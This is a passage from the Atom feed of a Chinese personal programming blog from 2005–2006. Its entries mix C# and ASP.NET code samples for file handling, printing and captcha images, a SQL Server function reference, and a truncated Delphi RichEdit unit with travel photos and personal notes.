;float&nbsp;&nbsp;yPosition&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;count&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;leftMargin&nbsp;&nbsp;=&nbsp;&nbsp;ev.MarginBounds.Left&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;topMargin&nbsp;&nbsp;=&nbsp;&nbsp;ev.MarginBounds.Top&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;&nbsp;line&nbsp;&nbsp;=&nbsp;&nbsp;null&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Font&nbsp;&nbsp;printFont&nbsp;&nbsp;=&nbsp;&nbsp;richTextBox1.Font&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SolidBrush&nbsp;&nbsp;myBrush&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;SolidBrush&nbsp;&nbsp;(&nbsp;&nbsp;Color.Black&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//计算每一页打印多少行&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;linesPerPage&nbsp;&nbsp;=&nbsp;&nbsp;ev.MarginBounds.Height&nbsp;&nbsp;/&nbsp;&nbsp;printFont.GetHeight&nbsp;&nbsp;(&nbsp;&nbsp;ev.Graphics&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//重复使用StringReader对象&nbsp;&nbsp;,打印出richTextBox1中的所有内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;&nbsp;(&nbsp;&nbsp;count&nbsp;&nbsp;&lt;&nbsp;&nbsp;linesPerPage&nbsp;&nbsp;&&&nbsp;&nbsp;(&nbsp;&nbsp;(&nbsp;&nbsp;line&nbsp;&nbsp;=&nbsp;&nbsp;myReader.ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>//&nbsp;&nbsp;计算出要打印的下一行所基于页面的位置<BR>&nbsp;&nbsp;&nbsp;&nbsp;yPosition&nbsp;&nbsp;=&nbsp;&nbsp;topMargin&nbsp;&nbsp;+&nbsp;&nbsp;(&nbsp;&nbsp;count&nbsp;&nbsp;*&nbsp;&nbsp;printFont.GetHeight&nbsp;&nbsp;(&nbsp;&nbsp;ev.Graphics&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;打印出richTextBox1中的下一行内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;ev.Graphics.DrawString&nbsp;&nbsp;(&nbsp;&nbsp;line&nbsp;&nbsp;,&nbsp;&nbsp;printFont&nbsp;&nbsp;,&nbsp;&nbsp;myBrush&nbsp;&nbsp;,&nbsp;&nbsp;leftMargin&nbsp;&nbsp;,&nbsp;&nbsp;yPosition&nbsp;&nbsp;,&nbsp;&nbsp;new&nbsp;&nbsp;StringFormat&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;count++&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;判断如果还要下一页，则继续打印<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;line&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;ev.HasMorePages&nbsp;&nbsp;=&nbsp;&nbsp;true&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;ev.HasMorePages&nbsp;&nbsp;=&nbsp;&nbsp;false&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myBrush.Dispose&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR><BR>四．&nbsp;&nbsp;总结：&nbsp;&nbsp;<BR><BR>本文虽然只是介绍了用C＃处理文本文件，但其实对C＃处理其他文件也有很多的参考价值，这是因为在名字空间"System.IO"中定义的用以处理其他文件的类的结构和用以处理文本文件的类的结构有很多是相同的。希望本文对你用C＃进行文件方面的编程有所帮助。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=188" /> 
	  <id>http://www.openx.cn/default.asp?id=188</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我不想说我是鸡]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-01-05T22:20:30+08:00</updated>
	  <published>2006-01-05T22:20:30+08:00</published>
		  <summary type="html"><![CDATA[<P>[swf]http://server1.9flash.com/000021/Flash/EB21474AC9526367CCC31F07525C94EF.swf[/swf]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=187" /> 
	  <id>http://www.openx.cn/default.asp?id=187</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C#中的文件操作]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-30T16:57:07+08:00</updated>
	  <published>2005-12-30T16:57:07+08:00</published>
		  <summary type="html"><![CDATA[<P>C#追加文件 <BR>StreamWriter sw = File.AppendText(Server.MapPath(".")+"<a href="http://www.openx.cn/file://myText.txt/">\\myText.txt</A>"); <BR>sw.WriteLine("追逐理想"); <BR>sw.WriteLine("kzlll"); <BR>sw.WriteLine(".NET笔记"); <BR>sw.Flush(); <BR>sw.Close(); </P>
<P>C#拷贝文件 <BR>string OrignFile,NewFile; <BR>OrignFile = Server.MapPath(".")+"<a href="http://www.openx.cn/file://myText.txt/">\\myText.txt</A>"; <BR>NewFile = Server.MapPath(".")+"<a href="http://www.openx.cn/file://myTextCopy.txt/">\\myTextCopy.txt</A>"; <BR>File.Copy(OrignFile,NewFile,true); </P>
<P>C#删除文件 <BR>string delFile = Server.MapPath(".")+"<a href="http://www.openx.cn/file://myTextCopy.txt/">\\myTextCopy.txt</A>"; <BR>File.Delete(delFile); </P>
<P>C#移动文件 <BR>string OrignFile,NewFile; <BR>OrignFile = Server.MapPath(".")+"<a href="http://www.openx.cn/file://myText.txt/">\\myText.txt</A>"; <BR>NewFile = Server.MapPath(".")+"<a href="http://www.openx.cn/file://myTextCopy.txt/">\\myTextCopy.txt</A>"; <BR>File.Move(OrignFile,NewFile); </P>
<P>C#创建目录 <BR>// 创建目录c:\sixAge <BR>DirectoryInfo d=Directory.CreateDirectory("c:\\sixAge"); <BR>// d1指向c:\sixAge\sixAge1 <BR>DirectoryInfo d1=d.CreateSubdirectory("sixAge1"); <BR>// d2指向c:\sixAge\sixAge1\sixAge1_1 <BR>DirectoryInfo d2=d1.CreateSubdirectory("sixAge1_1"); <BR>// 将当前目录设为c:\sixAge <BR>Directory.SetCurrentDirectory("c:\\sixAge"); <BR>// 创建目录c:\sixAge\sixAge2 <BR>Directory.CreateDirectory("sixAge2"); <BR>// 创建目录c:\sixAge\sixAge2\sixAge2_1 <BR>Directory.CreateDirectory("sixAge2\\sixAge2_1"); </P>
<P>递归删除文件夹及文件 <BR>&lt;%@ Page Language=C#%&gt; <BR>&lt;%@ Import namespace="System.IO"%&gt; <BR>&lt;Script runat=server&gt; <BR>public void DeleteFolder(string dir) <BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp; if (Directory.Exists(dir)) //如果存在这个文件夹删除之&nbsp;<BR>&nbsp;&nbsp;&nbsp; {&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach(string d in Directory.GetFileSystemEntries(dir))&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(File.Exists(d))&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; File.Delete(d); //直接删除其中的文件&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DeleteFolder(d); //递归删除子文件夹&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Directory.Delete(dir); //删除已空文件夹&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write(dir+" 文件夹删除成功");&nbsp;<BR>&nbsp;&nbsp;&nbsp; }&nbsp;<BR>&nbsp;&nbsp;&nbsp; else&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write(dir+" 该文件夹不存在"); //如果文件夹不存在则提示&nbsp;<BR>} <BR><BR>protected void Page_Load (Object sender ,EventArgs e) <BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp; string Dir="D:\\gbook\\11";&nbsp;<BR>&nbsp;&nbsp;&nbsp; DeleteFolder(Dir); //调用函数删除文件夹&nbsp;<BR>} </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=186" /> 
	  <id>http://www.openx.cn/default.asp?id=186</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[补上江西照片]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-12-28T20:20:40+08:00</updated>
	  <published>2005-12-28T20:20:40+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/20051223/images/img_2679.jpg[/img]</P>
<P>[img]attachments/20051223/images/img_2678.jpg[/img]</P>
<P>[img]attachments/20051223/images/img_2677.jpg[/img]</P>
<P>[img]attachments/20051223/images/img_2666.jpg[/img]</P>
<P>[img]attachments/20051223/images/img_2696.jpg[/img]</P>
<P>南昌</P>
<P>[img]attachments/20051223/images/img_2665.jpg[/img]</P>
<P>在江西哪都有腊肉,是吧.</P>
<P>&nbsp;</P>
<P>[img]attachments/20051223/images/img_2661.jpg[/img]</P>
<P>[img]attachments/20051223/images/img_2660.jpg[/img]</P>
<P>霜</P>
<P>[img]attachments/20051223/images/img_2659.jpg[/img]</P>
<P>[img]attachments/20051223/images/img_2658.jpg[/img]</P>
<P>丰收后的稻田</P>
<P>&nbsp;</P>
<P>[img]attachments/20051223/images/img_2647.jpg[/img]</P>
<P>蓝天</P>
<P>&nbsp;</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=185" /> 
	  <id>http://www.openx.cn/default.asp?id=185</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[最近太忙咯~好久没更新日志咯~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-12-27T09:29:39+08:00</updated>
	  <published>2005-12-27T09:29:39+08:00</published>
		  <summary type="html"><![CDATA[<P>上周去了趟江西,晚上回家把照片补上.</P>
<P>&nbsp;</P>
<P>工作工作.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=184" /> 
	  <id>http://www.openx.cn/default.asp?id=184</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[打个记号 ASP.NET 验证码~嘿嘿不用自己再去写]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-13T16:03:32+08:00</updated>
	  <published>2005-12-13T16:03:32+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="FONT-FAMILY: Courier"><SPAN style="FONT-SIZE: 10pt">====Code.aspx.cs====<BR>using System;<BR>using System.Collections;<BR>using System.ComponentModel;<BR>using System.Data;<BR>using System.Drawing;<BR>using System.Web;<BR>using System.Web.SessionState;<BR>using System.Web.UI;<BR>using System.Web.UI.WebControls;<BR>using System.Web.UI.HtmlControls;<BR><BR>namespace v<BR>{<BR>&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<BR>&nbsp;&nbsp;&nbsp; /// g 的摘要说明。<BR>&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<BR>&nbsp;&nbsp;&nbsp; public class g : System.Web.UI.Page<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; private&nbsp; char[] constant=<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',<BR>'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E',<BR>'F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; private&nbsp; void Page_Load(object sender, System.EventArgs e)<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // 在此处放置用户代码以初始化页面<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(!Page.IsPostBack)<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; string VNum=GenerateRandom(5);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Session["VNum"] = VNum;<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Validate_code(VNum);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; private&nbsp; string GenerateRandom(int length)<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.Text.StringBuilder sb = new System.Text.StringBuilder(62);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.Random r = new Random();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(int i=0;i&lt;length;i++)<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb.Append(constant[r.Next(62)]);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return sb.ToString();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; private&nbsp; void Validate_code(string sValue)<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int gHeigth=Int32.Parse((sValue.Length * 11).ToString());<BR><BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.Drawing.Bitmap Img = new System.Drawing.Bitmap(gHeigth,20);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(Img);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; g.DrawString(sValue,new System.Drawing.Font("Arial",10),<BR>new System.Drawing.SolidBrush(System.Drawing.Color.Blue),3,3);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.IO.MemoryStream ms = new System.IO.MemoryStream();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Img.Save(ms,System.Drawing.Imaging.ImageFormat.Png);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Response.ClearContent();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Response.ContentType="image/gif";<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Response.BinaryWrite(ms.ToArray());<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; g.Dispose();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Img.Dispose();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Response.End();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR><BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; #region Web 窗体设计器生成的代码<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; override protected void OnInit(EventArgs e)<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; InitializeComponent();<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; base.OnInit(e);<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /// 设计器支持所需的方法 - 不要使用代码编辑器修改<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /// 此方法的内容。<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; private void InitializeComponent()<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; this.Load += new System.EventHandler(this.Page_Load);<BR><BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; #endregion<BR>&nbsp;&nbsp;&nbsp; }<BR>}</SPAN></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=183" /> 
	  <id>http://www.openx.cn/default.asp?id=183</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[微软地图]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-12-12T15:40:38+08:00</updated>
	  <published>2005-12-12T15:40:38+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://local.live.com/i/logo_masthead.png[/img]</P>
<P>&nbsp;</P>
<P>快来看 微软地图 哦~</P>
<P>地址:http://local.live.com</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=182" /> 
	  <id>http://www.openx.cn/default.asp?id=182</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[打个记号 SQL函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-12T13:40:50+08:00</updated>
	  <published>2005-12-12T13:40:50+08:00</published>
		  <summary type="html"><![CDATA[1.字符串函数 <BR>长度与分析用 <BR>datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格 <BR>substring(expression,start,length) 不多说了,取子串 <BR>right(char_expr,int_expr) 返回字符串右边int_expr个字符 <BR><BR>字符操作类<BR>upper(char_expr) 转为大写 <BR>lower(char_expr) 转为小写 <BR>space(int_expr) 生成int_expr个空格 <BR>replicate(char_expr,int_expr)复制字符串int_expr次 <BR>reverse(char_expr) 反转字符串 <BR>stuff(char_expr1,start,length,char_expr2) 将字符串char_expr1中的从start开始的length个字符用char_expr2代替 <BR>ltrim(char_expr) rtrim(char_expr) 取掉空格<BR>ascii(char) char(ascii) 两函数对应,取ascii码,根据ascii吗取字符 <BR><BR>字符串查找<BR>charindex(char_expr,expression) 返回char_expr的起始位置 <BR>patindex("%pattern%",expression) 返回指定模式的起始位置,否则为0 <BR><BR>2.数学函数 <BR>abs(numeric_expr) 求绝对值 <BR>ceiling(numeric_expr) 取大于等于指定值的最小整数 <BR>exp(float_expr) 取指数<BR>floor(numeric_expr) 小于等于指定值得最大整数 <BR>pi() 3.1415926......... <BR>power(numeric_expr,power) 返回power次方 <BR>rand([int_expr]) 随机数产生器 <BR>round(numeric_expr,int_expr) 安int_expr规定的精度四舍五入 <BR>sign(int_expr) 根据正数,0,负数,,返回+1,0,-1 <BR>sqrt(float_expr) 平方根 <BR><BR>3.日期函数 <BR>getdate() 返回日期 <BR>datename(datepart,date_expr) 返回名称如 June <BR>datepart(datepart,date_expr) 取日期一部份<BR>datediff(datepart,date_expr1.dateexpr2) 日期差 <BR>dateadd(datepart,number,date_expr) 返回日期加上 number<BR><BR>上述函数中datepart的 <BR>写法 取值和意义 <BR>yy 1753-9999 年份<BR>qq 1-4 刻 <BR>mm 1-12 月 <BR>dy 1-366 日 <BR>dd 1-31 日 <BR>wk 1-54 周 <BR>dw 1-7 周几 <BR>hh 0-23 小时 <BR>mi 0-59 分钟 <BR>ss 0-59 秒 <BR>ms 0-999 毫秒 <BR><BR>日期转换 <BR>convert() <BR><BR>4.系统函数<BR>suser_name() 用户登录名 <BR>user_name() 用户在数据库中的名字<BR>user 用户在数据库中的名字 <BR>show_role() 对当前用户起作用的规则 <BR>db_name() 数据库名 <BR>object_name(obj_id) 数据库对象名 <BR>col_name(obj_id,col_id) 列名 <BR>col_length(objname,colname) 列长度 <BR>valid_name(char_expr) 是否是有效标识符 <BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=181" /> 
	  <id>http://www.openx.cn/default.asp?id=181</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[RICHEDIT中插入图象]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-12T11:57:14+08:00</updated>
	  <published>2005-12-12T11:57:14+08:00</published>
		  <summary type="html"><![CDATA[unit InsRich;<BR>interface<BR>uses<BR>&nbsp; &nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>&nbsp;Dialogs,ActiveX,ComCtrls;<BR>const<BR>&nbsp;REO_CP_SELECTION &nbsp; &nbsp;= ULONG(-1);<BR>&nbsp;REO_BELOWBASELINE &nbsp; = $00000002;<BR>&nbsp;REO_RESIZABLE &nbsp; &nbsp; &nbsp; = $00000001;<BR>&nbsp;REO_STATIC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= $40000000;<BR>&nbsp;EM_GETOLEINTERFACE = WM_USER + 60;<BR>&nbsp;IID_IUnknown: &nbsp; TGUID = (D1:$00000000;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));<BR>&nbsp;IID_IOleObject: TGUID = (D1:$00000112;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));<BR>type<BR>&nbsp;_ReObject = record<BR>&nbsp; &nbsp;cbStruct: DWORD; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { Size of structure &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>&nbsp; &nbsp;cp: ULONG; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 